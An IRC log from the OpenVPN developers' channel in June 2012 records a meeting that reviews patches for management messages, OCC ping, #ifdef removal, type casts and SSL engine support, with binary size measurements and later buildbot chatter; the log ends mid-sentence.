https://community.openvpn.net/openvpn/wiki/OpenVPN2.3 07:23 <@vpnHelper> Title: OpenVPN2.3 – OpenVPN Community (at community.openvpn.net) 07:23 <@dazo> mattock: nope, all of it is basically covered 07:23 <@mattock> ok 07:24 <@dazo> actually, the unicode stuff ... double checking if the wmain() patch from alon was ACKed by james or not ... based on your testing ... that's the only thing 07:42 < plaisthos> On a sidenote, google play tells me that there a 3745 active installs of openvpn for android 07:43 <@dazo> whooo ... that's pretty awesome! 07:43 < plaisthos> most from germany about about 20% for some reason 07:44 <@dazo> ahh, those germans, they're so paranoid! :-P 07:44 <@dazo> ;-) 08:01 <+krzee> http://www.bbvforums.org/forums/messages/7659/82111.html 08:01 <@vpnHelper> Title: Black Box Voting : USA Here is the Accenture software for voter registration (at www.bbvforums.org) 08:02 <+krzee> ^ usa voting software ;] 08:02 <+krzee> fresh, released yesterday 08:04 <@dazo> "released" is probably the right wording ;-) 08:05 <+krzee> :-D 08:05 <+krzee> <3 blackboxvoting 08:07 <@dazo> I was at a FOSS conference in Norway and observed a presentation about e-voting in Norway (well, they will only do the vote management system for now, not e-voting terminals) ... and the guy from the department emphasised that they were pushing hard for getting the sources released with a FOSS licence 08:08 <@dazo> but the challenge with that was that the company they hired doing it wasn't so willing to do so ... but the agreement in the end was that the code will be released, but it's not allowed to use this program outside of Norway "legally" ... due to each country having their own set of voting rules which are not much compatible 08:10 <@dazo> Currently, as much of the stack as possible is based on FOSS, with PostgreSQL as the main database ... the only closed source part was the scanning and OCR systems - there are no FOSS based software which are usable enough 08:27 < plaisthos> what time is the meeting in CEST today? 19:00? 08:27 <@dazo> 20:00 CEST 08:28 < plaisthos> oh even later 08:28 < plaisthos> I think I won't be there today 08:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:26 <@dazo> http://i.imgur.com/E5GLT.jpg 10:56 < habets> dazo: 1968: http://www.cleverdonkey.com/wp-content/uploads/2010/02/2001-a-space-odyssey-ipad.jpg 10:57 <@dazo> hehehe ... even better! :) 11:03 < habets> 2260: http://cache.gawkerassets.com/assets/images/9/2010/01/500x_custom_1264692600131_tos_padd_2.jpg 11:03 < habets> it even has the wedge shape that apple patented for macbooks 11:04 < habets> uhura is in so much trouble now 11:16 -!- raidz_afk is now known as raidz 11:22 -!- dazo is now known as dazo_afk 12:09 -!- jamesyonan_ [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 12:37 -!- dazo_afk is now known as dazo 12:46 * ecrist has internets at new home 12:51 <@cron2> ecrist: real Internets, or just the old 32-bit stuff? 12:53 <@mattock> almost there... 12:57 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2012-06-21 12:57 <@vpnHelper> Title: Topics-2012-06-21 – OpenVPN Community (at community.openvpn.net) 13:00 < ecrist> cron2: just 32-bit stuff, still 13:01 < ecrist> I can have the 128-bit stuff thanks to openvpn 13:01 < ecrist> :) 13:01 <@cron2> heh :) 13:02 <@mattock> ok, everybody set 13:06 <@cron2> james around? 13:07 <@mattock> jamesyonan? 13:08 <@mattock> what about dazo? 13:08 <@cron2> yup... half of the patch review is waiting for the master's voice 13:08 <@dazo> I'm here 13:10 <@jamesyonan_> hi, I'm here -- for some reason my IRC client isn't using my usual name 13:10 <@mattock> ok, let's begin 13:11 <@cron2> great 13:11 <@mattock> maybe start with this one? http://thread.gmane.org/gmane.network.openvpn.devel/6456/focus=6457 13:11 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:12 <@dazo> jamesyonan_: I believe you might give a better verdict on that one 13:13 <@jamesyonan_> patch seems like it might break stuff 13:16 <@jamesyonan_> this changes the management interface semantics 13:16 <@dazo> I personally don't understand what the benefit of this patch is, tbh ... It claims to "solve" something, but I don't understand why this change is needed 13:17 <@cron2> as far as I understand, these two messages are not sent for *all* client connects, but only for password-authenticated logins 13:17 <@cron2> (and thus, missing otherwise) 13:17 <@cron2> but I won't claim to understand management interface semantics 13:17 <@jamesyonan_> well it looks like the author wants >CLIENT messages for all connections, even those that don't require auth 13:17 <@cron2> that's how I read it 13:19 <@dazo> Can we imagine any reasons why that's an advantage? 13:19 <@jamesyonan_> does his comment "DAF_INITIAL_AUTH will only be set …" refer to behavior before or after the patch is applied? 13:20 <@dazo> It seems to be related to this discussion: http://thread.gmane.org/gmane.network.openvpn.devel/6442/focus=6444 13:20 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:21 <@jamesyonan_> I would want to hold off on this one until we get more clarification on how this will affect existing managment interface clients 13:21 <@mattock> sounds good 13:22 <@mattock> anything else, or shall we move on to this: http://thread.gmane.org/gmane.network.openvpn.devel/6619 13:22 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:22 <@dazo> agreed ... Let's provide a feedback, where we need far more testing info ... and a better explanation why this is needed in Adrien's eyes 13:23 <@cron2> well, the explanation is obvious "I want to see my clients connect, even if they are not using password auth" :-) 13:24 <@mattock> then we still have the "does this affect existing management interface clients" 13:24 <@cron2> yeah, that's the big one 13:25 <@mattock> more testing/reading of code later? 13:25 <@dazo> I'm not sure I still see the purpose ... and the relation to password auth ... but I don't know the management interface well enough to really understand these details well enough 13:28 <@mattock> next patch? 13:30 <@cron2> which one? 13:30 <@dazo> OCC ping? 13:30 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/6619 13:30 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:32 <@cron2> I'm not sure I fully understand that one - well, it sends occ pings and occ ping-replies, but then just discard the reply - shouldn't it check somewhere that replies are coming in? 13:35 <@mattock> jamesyonan: what do you think? 13:35 <@jamesyonan_> in general, I do like the idea of changing ping to be more conservative on mobile devices 13:36 <@jamesyonan_> not sure, off hand, if this is the right way to do it 13:36 <@jamesyonan_> also, keep in mind that there's a known DTLS vulnerability with ping response that we don't want to repeat here 13:37 <@jamesyonan_> OpenVPN protocol is pre-DTLS but shares many of the same characteristics 13:40 <@jamesyonan_> the bigger problem to solve is this -- how can we retain reasonable keepalive functionality on UDP connections without forcing a mobile device to xmit pings when no traffic would otherwise be sent/received 13:41 <@mattock> so currently a reasonable keepalive is not possible? or does this patch affect that aspect? 13:42 <@jamesyonan_> well it seems like the patch author is thinking about the problem of power management on mobile, but I don't see the details of how adding a ping reply will help to solve this problem 13:43 <@cron2> I think the key aspect is that this is purely client-controlled, so the client can decide how often it wants to send/receive ping stuff 13:43 <@cron2> while the normal ping stuff needs to be symmetric between client and server to work - so you can't unilateraly change it on the client, without adapting the server as well 13:44 <@jamesyonan_> but how does the server know the client is still there in the case that the client controls the ping initiation? 13:45 <@jamesyonan_> if the server is forced to retain client instance objects, that can be a DoS vector 13:45 <@cron2> no idea... maybe run occ-ping itself, in the opposite direction 13:46 <@jamesyonan_> but that seems to defeat the power-management purpose if both client and server are initiating pings 13:47 <@mattock> yeah 13:47 <@mattock> maybe we should ask the author what the core reason for this patch is? 13:47 <@jamesyonan_> I think for mobile power management, it might be better to just have the client do a disconnect when it notices that the connection isn't being used 13:48 <@jamesyonan_> and then have it bring back the connection dynamically when there is usage 13:48 <@jamesyonan_> this way the server can also free the client instance object for the client, during the inactive state 13:49 <@mattock> yep, sounds right 13:50 <@mattock> ah yes, the author says it about saving battery 13:51 <@jamesyonan_> I also have a bit of concern because one of the OpenSSL DTLS security vulnerabilities I read about recently was facilitated by the fact that DTLS also has an internal ping that is echoed by the receiver 13:51 <@mattock> I 13:51 <@mattock> oops 13:51 <@jamesyonan_> we need to understand the details of this vulnerability before we attempt to implement an echoing ping 13:52 <@mattock> I'd say NACK for now and ask the author if there's any hidden benefits (besides 13:52 <@mattock> theoretical power savings) 13:52 <@cron2> ... and it should be checked that this actually works... :) 13:52 <@mattock> if not, NACK, if yes, look into the implementation details 13:52 <@mattock> cron2: yes, that too :D 13:53 <@mattock> next patch? 13:53 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/6619 13:53 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:53 <@cron2> that was occ ping? 13:54 <@mattock> yes, sorry 13:54 <@mattock> this one: http://thread.gmane.org/gmane.network.openvpn.devel/6740/focus=6746 13:54 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:55 <@dazo> jamesyonan_: any concerns about removing all these #ifdef's? ... mainly to improve the code readability 13:55 <@cron2> 3/6, yes. I think it's making the code more easy to read, not changing any functionality, so is OK. What I don't now, and why I was asking for James' opinion on this is whether there is a use case for not having ENABLE_INLINE_FILES turned on 13:55 <@cron2> what dazo said 13:56 <@jamesyonan_> I'm generally fine with this 13:57 <@jamesyonan_> at one time we sort of fell over ourselves making sure that every added feature had an ifdef so code would continue to run on highly memory-constrained platforms like OpenWRT 13:57 <@jamesyonan_> but this is a feature that doesn't add very much code and is almost always turned on 13:57 <@dazo> I would argue that inline files makes quite a lot of sense in embedded environments 13:57 <@mattock> and even those platforms grow more powerful in time 13:58 <@jamesyonan_> agreed 13:58 <@mattock> so it makes sense... ACK? 13:59 <@cron2> it actually cannot easily be turned *off* right now, as it would need patching syshead.h 14:01 <+krzee> +1 dazo 14:02 <@mattock> krzee just got into the list of attendees 14:02 * krzee cheers 14:03 <@jamesyonan_> +1 for removing ENABLE_INLINE_FILES 14:03 <@jamesyonan_> i.e. make it permanently enabled 14:03 <@mattock> ok, I'd interpret that as an ACK :P 14:03 <@jamesyonan_> yes 14:03 <@mattock> next patch? 14:03 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/6740/focus=6744 14:03 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:04 <@dazo> Same arguments as the previous one 14:04 <@cron2> +1 14:05 <@mattock> jamesyonan: ok with you? 14:06 <@dazo> (this one is a bit messier to review) 14:08 <@jamesyonan_> any idea how much code size is saved if these are turned off? 14:08 <@cron2> no idea, but I can go and find out 14:09 <@jamesyonan_> I think ifdefs are justified if the code size is large and if the feature is arguably used by a small % of users 14:09 <@cron2> it's on-by-default via syshead.h 14:10 <@jamesyonan_> probably okay then -- presumaby if embedded folks needed to cut it out, they would have added a configure option 14:10 <@cron2> still compiling... 14:11 <@cron2> haha 14:11 <@cron2> ../../../openvpn.git/src/openvpn/options.c: In Funktion »add_option«: 14:11 <@cron2> ../../../openvpn.git/src/openvpn/options.c:5001: Fehler: »struct options« hat kein Element namens »force_connection_list« 14:11 <@cron2> compiling with /* #undef ENABLE_CONNECTION */ fails 14:13 <@cron2> ok, add #ifdef (for testing), size with default options: 14:13 <@cron2> text data bss dec hex filename 14:13 <@cron2> 545068 1632 1268 547968 85c80 src/openvpn/openvpn 14:13 <@cron2> size without ENABLE_CONNECTION 14:13 <@cron2> text data bss dec hex filename 14:13 <@cron2> 537980 1632 1268 540880 840d0 src/openvpn/openvpn 14:13 <@dazo> ~7KB? 14:13 <@cron2> yeah, that's somewhat surprising 14:14 <@cron2> (that's code + static data) 14:14 <@dazo> try both with --enable-small? as that would be typical for memory restrained systems ... a 14:15 <@dazo> and these two #ifdef's add some info to the --help screen and logging stuff and such 14:15 <@mattock> and while cron2's computer is working, perhaps review the next one? 14:15 <@cron2> this will take a while 14:15 <@mattock> snack while we're waiting would be this: http://thread.gmane.org/gmane.network.openvpn.devel/6740/focus=6745 14:16 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:16 < shuffle2> is there a way to programmatically do the equivalent of telling windows to bridge your main nic and the openvpn tap device? 14:16 <@cron2> shuffle2: not inside openvpn, surely inside windows API "somehow the gui must do it" 14:17 < shuffle2> or is there another way to do it? it's somewhat annoying since it means the machine will request dhcp and etc again for the new bridge device created by windows 14:18 < shuffle2> just need to route the traffic on openvpn device onto the network somehow 14:19 <@dazo> if you insist on bridging, cron2 gave the answer 14:19 < shuffle2> no, that creates another device 14:19 < shuffle2> i mean with using only the real nic and the openvpn device 14:20 <@dazo> can we please take this discussion after the developers meeting? 14:20 <@mattock> cron2: how's the compile going? 14:21 <@dazo> that "Fix clang warnings for conversion from unsigned<->signed" ... I'm kind of sceptical to such fixes generally ... as it might be hiding other issues, instead of solving the root cause 14:21 <@cron2> --enable-small, #define ENABLE_CONNECTION 14:21 <@cron2> text data bss dec hex filename 14:21 <@cron2> 499292 1616 1268 502176 7a9a0 src/openvpn/openvpn 14:21 <@cron2> --enable-small, #undef ENABLE_CONNECTION 14:21 <@cron2> text data bss dec hex filename 14:21 <@cron2> 491932 1616 1268 494816 78ce0 src/openvpn/openvpn 14:21 <@cron2> (now I'll be kicked) 14:22 <@dazo> I'm wondering if it would be a better approach to rather look at the argument declarations of md_ctx_update() instead 14:23 <@dazo> hmm ... still ~7KB ... that's quite a lot 14:23 * dazo would have expected it to be much less 14:23 <@cron2> hard to estimate, in the patch set you have chunks that only have #ifdef and then another chunk "1000s of lines further down" with the #endif 14:25 <@dazo> yeah 14:25 <@dazo> and you also have the MANAGEMENT_QUERY_REMOTE stuff too ... and that removals together with ENABLE_CONNECTION scares me a little bit 14:25 <@dazo> does that mean that you cannot disable management interface? 14:26 <@cron2> nah, that's a specific sub-option of management interface 14:27 <@dazo> oh true ... so if management is disabled, that should not add management_query_remote stuff anyway 14:27 <@cron2> building with --disable-management now :) 14:28 <@dazo> so the bottom line is ... is ~7KB enough to scare us away from this patch? .... I would definitely expect the code to be smaller without management enabled 14:31 <@cron2> text data bss dec hex filename 14:31 <@cron2> 446545 1584 1264 449393 6db71 src/openvpn/openvpn 14:33 <@dazo> now, that's about 50KB saved 14:34 <@mattock> so, what to do with this patch? 14:34 <@dazo> I'd guess most memory restrained environments would then opt for disabling management all in all ... otherwise, 7KB isn't necessarily that much 14:34 <@mattock> ACK? 14:35 * dazo lets jamesyonan_ take the final decision on this one 14:36 <@jamesyonan_> yeah I would say we should have some threshold maybe 10 or 20 KB where a feature should be ifdefable 14:37 <@jamesyonan_> probably if this is just a subfeature of management and it's under 10 KB, it's not a big deal to remove ifdef 14:37 <@dazo> agreed 14:37 <@jamesyonan_> ack 14:38 <@mattock> two more two go: http://thread.gmane.org/gmane.network.openvpn.devel/6730 14:38 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:39 < habets> I'm (Thomas Habets) here, btw 14:39 <@mattock> hi! 14:39 <@dazo> nice! 14:39 * habets waves to everone 14:39 <@mattock> jamesyonan: what do you think about this one? 14:40 <@cron2> mattock: did we come to an agreement about the (const uint8_t*) stuff? 14:40 <@mattock> which one? 14:40 <@cron2> 6/6 14:41 <@mattock> ah, we might have skipped it 14:41 <@jamesyonan_> personally, I've never had the signed <-> unsigned warnings find an actual bug 14:41 <@jamesyonan_> so I usually turn off the warnings altogether 14:41 <@mattock> ok, so it was this one: http://thread.gmane.org/gmane.network.openvpn.devel/6740/focus=6745 14:41 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:41 <@cron2> yep 14:42 <@jamesyonan_> but the other side of the coin is that some people want maximum warning sensitivity and then they have to go off and manually cast everything so they don't get flooded with false positives 14:43 <@dazo> I looked quickly at the code ... and I think it's better to fix the data types of these callers ... or do this typecasting after all ... but typecasting like this might, as well, hide issues related to overflows ... depending on the caller situations 14:44 <@dazo> DigestCalcHA1( 14:44 <@dazo> IN char * pszAlg, 14:44 <@dazo> IN char * pszUserName, 14:44 <@dazo> IN char * pszRealm, 14:44 <@dazo> IN char * pszPassword, 14:45 <@dazo> (that's the variable declarations of the variables used with md_ctx_update()) 14:45 <@jamesyonan_> yeah, I also notice that he is converting some data types from char to unsigned char which could actually change behavior 14:45 <@cron2> well, we'll always have warnings or typecast one way or the other, if we mix "stringy things" (that want to be "char") with "crypto things" that usually want uint8=unsigned char 14:47 <@jamesyonan_> well should we use explicit casts when converting between crypto and string character sequences or just disable the warnings? 14:48 <@dazo> it's just solving the same issue in two different ways 14:48 <@dazo> with basically the same impact 14:48 <@jamesyonan_> well one could argue that by using explicit casts, and keeping the warning, when a real bug does surface, you will see it 14:49 <@dazo> agreed 14:50 <@dazo> I'd probably like to see that those Digest*() functions in httpdigest.c becomes more "crypto like" (using unsigned char) and the callers of these Digest*() function can do the typecasting, where it is most easy to see if this gets right or not 14:50 <@dazo> (probably more easy to see, I meant) 14:51 <@jamesyonan_> I guess I'm in favor of patch as long as author tests that changes don't break anything (it's not enough in these cases to assume that adding casts or retyping vars doesn't change functionality) 14:53 <@mattock> verify that and then ACK? 14:53 <@dazo> I'm just afraid of "hiding" such typecasts too long down in the call chain ... as that might change the behaviour more hidden ... if you have them higher up in the call chain, the coder have more control of what's happening 14:53 <@cron2> for style reasons I'd not cast to (const uint8_t*) but to (uint8_t*) - the "const" is not a function of the caller but of the callee 14:53 <@dazo> (after all, these Digest*() functions are quite generic) 14:53 <@cron2> ... and that 14:54 <@cron2> ah 14:54 * cron2 takes the const bit back 14:54 <@dazo> :) 14:54 <@cron2> it *is* a "const char*" already 14:55 <@dazo> it's a const char* in Digest*() and const uint_8* in md_ctx_*() 14:56 < ecrist> cron2: is iroute for ipv6 done yet? 14:56 <@cron2> ecrist: 27 years ago, why? 14:56 < ecrist> troubleshooting a vpn for someone 14:57 < ecrist> Options error: option 'route-ipv6' cannot be used in this context 14:57 <@jamesyonan_> part of the issue here is that OpenSSL was written before uint8_t became a standard type for referencing binary data, or before size_t came onto the scene 14:57 <@cron2> ecrist: spell it "iroute-ipv6", and then it will work 14:58 < ecrist> iroute-ipv6 2607:fc50:1001:3502::/64 14:58 <@mattock> ok, so what to do with 14:58 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/6740/focus=6745 14:58 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:58 <@cron2> ecrist: your error message talks about "route-ipv6", so I assumed that an "i" got lost 14:58 < ecrist> hang on, I see it 14:58 < ecrist> thanks. 15:04 <@cron2> mattock: "postpone while we make up our minds" :) 15:04 <@mattock> yeah, I was just about to ask "where did everyone disappear" :P 15:05 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/6730 15:05 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:05 <@mattock> and this: http://thread.gmane.org/gmane.network.openvpn.devel/6734 15:05 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:06 <@cron2> I've seen the discussion, Alon seems to be happy, but I don't understand any of this crypto stuff 15:09 <@mattock> jamesyonan? 15:11 <@jamesyonan_> for SSL engine support, where is the actual patch? 15:12 <@dazo> habets: ^^^ 15:12 < habets> sorry 15:13 < habets> slow wireless connection. one sec 15:16 -!- dazo is now known as dazo_afk 15:18 < habets> https://github.com/alonbl/openvpn branch engine. It's Alons patch in the end. His way was better. 15:18 <@vpnHelper> Title: alonbl/openvpn · GitHub (at github.com) 15:19 <@mattock> https://github.com/alonbl/openvpn/tree/engine 15:19 <@vpnHelper> Title: alonbl/openvpn at engine · GitHub (at github.com) 15:19 -!- dazo_afk is now known as dazo 15:20 < habets> or blog.habets.pp.se/tmp/blah.patch all in all 15:20 < habets> I'll be on better connection in 5m 15:22 <@dazo> I'd say andj should probably also have a look at this patch as well 15:23 <@mattock> yep, probably makes sense 15:23 <@mattock> jamesyonan: any thoughts on this one? 15:24 <@dazo> habets: just to be sure that I understand the purpose of this patch ... it's so that you can interact with external SSL engines to retrieve SSL keys and certificates? 15:25 < habets> dazo: yes. It's not so much "retrieve" as "act as oracle". The private key never leaves the TPM chip in plaintext. It was generated inside it and never sees the light of day. 15:26 <@dazo> Ahh, I see 15:27 < habets> the .key file is an encrypted blob. You hand the blob and "please use this to help me complete this handshake". 15:28 <@dazo> I'm lacking the needed knowledge regarding SSL and TPM to see if this is a good way to solve it or not ... I put my trust in andj and jamesyonan_ 15:29 <+krzee> "in james we trust" 15:29 <@dazo> krzee: at least when it's related to SSL stuff ;-) 15:29 <@jamesyonan_> sorry, what's the URL to quickly view the patch? 15:30 < habets> http://blog.habets.pp.se/tmp/blah.patch 15:32 <@dazo> (this might be the same? https://github.com/alonbl/openvpn/compare/master...engine ) 15:32 <@vpnHelper> Title: Comparing master...engine · alonbl/openvpn · GitHub (at github.com) 15:32 <@jamesyonan_> does this work on both OpenSSL and PolarSSL? 15:32 < habets> dazo: yes. 15:32 < habets> jamesyonan_: it's not an implementation for polarssl. If polarssl has the functionality I don't know. 15:33 <@jamesyonan_> so if I understand this correctly, it allows OpenVPN to access a private key that resides on an external device 15:34 <@jamesyonan_> where the device has an OpenSSL engine implementation? 15:35 < habets> yup 15:35 < habets> well, in theory it can be more general. It allows for using an engine to load a key. It doesn't *have* to be on another device. 15:36 <@jamesyonan_> does this interoperate an any way with OS-level key stores such as Windows cryptoapi, Mac keychain, etc.? 15:37 <@mattock> or could it be extended to do so? 15:37 < habets> There's nothing in the patch that goes outside of OpenSSL engine plugins. If there is a Windows cryptoapi engine (or one is made) then this would work with it. 15:39 < habets> probably as-is, since the patch allows for setting parameters in a standard way 15:40 <@mattock> jamesyonan: does this patch seem ok? we could run it by andj also 15:40 <@jamesyonan_> I think OpenSSL engine stuff was interesting when it first came out, but I think in recent years it's been supplanted by OS-level keystores 15:40 <@jamesyonan_> I think the patch seems reasonable though 15:41 <@mattock> ok, let's have andj look at it later on 15:41 <@mattock> ok, I think that was all 15:41 <@cron2> 2.3alpha2? 15:41 <@mattock> ok, a brief update 15:42 <@mattock> got the digicert certs, did not work out of the box, got new ones 15:42 <@jamesyonan_> since the OS needs to have drivers for the various crypto devices, it seems to make more sense to handle at the OS level, and then maybe have the OpenSSL engine just interact with the OS-level crypto store 15:42 <@mattock> haven't tested the new ones, will test on Monday (no time tomorrow/weekend) 15:42 <@mattock> besides that, I think we can release 2.3-alpha2 a.s.a.p. (dazo?) 15:42 <@cron2> no objections from here 15:43 <@mattock> ugh 15:43 <@mattock> almost midnight here, got to hit the sack 15:44 <@cron2> g'night 15:44 <@dazo> okay, I'll try to get the last acked patches in ... and then I'll tag the tree ... I'll try to manage that tomorrow 15:44 <@cron2> cool 15:44 <@mattock> I'll summarize the meeting tomorrow 15:44 <@dazo> goodie :) 15:44 <@mattock> 2.3-alpha2 out next week, unless somebody objects 15:44 <@mattock> (or the digicert certificates object) 15:44 <@mattock> :P 15:44 <+krzee> you guys rock o/ 15:45 <@mattock> thanks! 15:45 <@mattock> good night all! 15:46 <@dazo> g'night! 15:51 -!- dazo is now known as dazo_afk 16:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 17:49 < shuffle2> now the meeting is over, and people are gone... :/ 17:49 < shuffle2> anyone care to answer my previous question? 19:04 -!- raidz is now known as raidz_afk 19:20 -!- jamesyonan_ [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan_] 22:56 -!- DarkPriesT [DarkPriesT@182.63.152.32] has joined #openvpn-devel 22:57 < DarkPriesT> !snapshots 22:57 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 23:09 -!- DarkPriesT [DarkPriesT@182.63.152.32] has quit [Read error: Connection reset by peer] --- Day changed Fri Jun 22 2012 02:16 -!- dazo_afk is now known as dazo 03:10 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 04:56 <@cron2> shuffle2: I'm not sure we understand what the underlying problem is that you're trying to solve 04:56 <@cron2> shuffle2: your question regarding briding has been answered "openvpn can not do it" 04:57 <@cron2> (and if you bridge, it's basically outside of openvpn's responsibility to setup the interface properly - same thing on linux) 05:12 <@dazo> cron2: mattock I've applied these 4 first of Arne's patches ... and the pkcs11h cleanup from Alon .... anything I missed for alpha2? 05:12 <@dazo> (running 'make check' now) 05:13 <@mattock> dazo: nothing I can think of 05:14 <@mattock> let's have the buildbot farm work on the code and see if it comes out clean 05:14 <@dazo> good point! 05:14 <@dazo> mattock: want to try a windows build too? 05:14 <@mattock> yeah, I'll do that, too, but I'll happen on Monday or so 05:14 <@mattock> we're having a midsummer eve festivities here today 05:14 <@mattock> so I'd postpone tagging the tree until next week, just in case 05:15 <@dazo> okay, no worries ... then I won't tag the tree yet 05:22 <@mattock> are the two #ifdef cleanup patches going into 2.3-alpha2? and what about the SSL engine support? 05:22 <@mattock> I interpreted James' "the patch seems reasonable" as an ACK 05:22 <@mattock> I'll send the summary now, and also ask for clarifications about few of the patches 05:22 <@dazo> mattock: the SSL engine stuff is a new feature ... so I'd like to postpone that for 2.4, unless anyone objects 05:23 <@mattock> yeah, makes sense 05:23 <@vpnHelper> RSS Update - testtrac: Remove ENABLE_CONNECTIONS ifdefs <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8acdb7291c4cc62134624c3a61049f2ec12e3ad9> || Remove ENABLE_INLINE_FILES conditionals <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e0ce897db928340539b58e0fbda6db9080815598> || Completely remove ancient IANA port warning. <http://openv 05:27 <@mattock> dazo: did not send ACK notifications to the #ifdef patches... shall you do it? 05:28 <@mattock> 3/6 and 4/6 05:28 <@dazo> it should be in the pipe .... well, actually I didn't mention that the patches was acked in the IRC meeting, that would probably be a good idea 05:28 <@mattock> yeah, easier to track back 05:29 <@dazo> maybe post the meeting minutes ... and then reply to these ACKs with references to where it was acked 05:29 <@dazo> (with URL) 05:30 <@dazo> duh ... the minutes are out already :) 05:30 <@mattock_> yep 05:30 <@mattock_> not sure if they're on gmane 05:31 * dazo got an idea 05:32 <@dazo> http://mid.gmane.org/4FE44882.3090706@openvpn.net ... that's a good URL 05:32 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at mid.gmane.org) 05:32 <@dazo> it keeps the message-id ... and provides the proper redirect :) 05:36 <@mattock> ah, nice 05:42 <@mattock> dazo: do you have a midsummer eve festivities there also? 05:42 <@mattock> i.e. in Norway 05:43 <@dazo> yeah, it's a tradition for it ... but I've never really been participating on such things in Oslo ... but on smaller places, that's usually the summer highlight :) 05:56 <@dazo> buildbot seems to be doing quite fine so far ... but see some warnings like this "CA_CERT not defined in 't_client.rc'. SKIP test." on some of the tests ... 05:58 <@cron2> that would be hosts that are not configured yet (= empty t_client.rc) 05:58 * cron2 has some idea who's responsibility that might be 05:58 <@dazo> yeah, guessed so ... but it's happening on your boxes, primarily ;-) 05:59 <@cron2> yeah, this is why I know without looking :) 05:59 <@dazo> ahh :) 05:59 <@cron2> mmh, but opensolaris fails with a real error 05:59 <@cron2> dang 05:59 <@cron2> disk full 06:02 <@dazo> mattock: builds look good enough so far to be possible to test on Windows ... so I'll await your build test (I don't think we need a "pre" build announced ... if it builds, it should be good enough, I'd say) 06:03 <@dazo> d12fk: got any GUI updates you'd like to get into alpha2? if so, please co-ordinate with mattock 06:06 <@d12fk> umm, latest is always best =) it has chinese! 06:07 <@d12fk> mattock: do you use the gui master head for the builds? 06:08 <@dazo> that's a good thing to get in ... also since it's a new contributor :) 06:38 <@cron2> rm: cannot remove `./cb/76bd00/cb76bd004a443e8a40f3e2ed7bf215d889cfa3c0': No space left on device 06:38 <@cron2> solaris is sooo weird... 06:41 <@cron2> wasn't mattock considering running "make clean" at the very end of the buildbot run? 07:31 <@mattock> cron2: all build end with "make clean" 07:31 <@mattock> it was "make clean all" earlier (at the end), but that was just silly 07:31 <@mattock> i.e. a misunderstanding 07:31 <@mattock> d12fk: yes 07:32 <@mattock> openvpn-gui does not build for me, I think it's because the .rch patch from Alon is missing or something 07:33 <@mattock> got to go now 07:34 <@dazo> cron2: what kind of filesystem is it? zfs? 07:36 <@dazo> http://comments.gmane.org/gmane.os.solaris.opensolaris.zfs/37156 07:36 <@vpnHelper> Title: Sun's ZFS file system on Solaris () (at comments.gmane.org) 07:39 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 08:30 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 08:38 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 08:59 <@d12fk> mattock_: how do you build it and what's the error message 09:02 <@cron2> mattock: is that already active? 09:02 <@cron2> dazo: yes, zfs 09:03 <@cron2> mattock: I see leftover directories with lots of .o files in...! 09:03 <@cron2> -rw------- 1 buildbot sasl 1592 2012-06-22 10:58 win32.o 09:04 <@cron2> both on osol10 and fbsd74... 09:44 -!- dazo is now known as dazo_afk 10:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:04 < shuffle2> cron2: i was just wondering if people had ideas to nicely handle the issue, since I would imagine it's a pretty commonly wanted feature? 13:04 < shuffle2> ie i was hoping someone here had done it already :) 13:23 < ecrist> what issue is that? 13:26 < shuffle2> making the tap device behave like a bridged device (think vbox or vmware) 13:27 < shuffle2> those vms apparently use some "network service" driver to accomplish it, along with their tap devices 13:27 < shuffle2> but the code is huge and i dont really understand it yet :/ 13:27 < ecrist> I'm still not certain what you mean. 13:29 < shuffle2> for example, if you send dhcp packets from the openvpn tap device 13:29 < shuffle2> they will never reach your dhcp server since the os doesn't route the packets to be sent out of the real nic 13:30 < shuffle2> dhcp discover packets* 13:30 < shuffle2> i'm using the openvpn tap device for an emulator, so the tap device is performing the task of the virtual nic 13:31 < shuffle2> since i don't want to deal with windows codesigning crap if i can help it :> 13:32 < shuffle2> do you know what i mean? 13:32 < ecrist> kind of. it's not 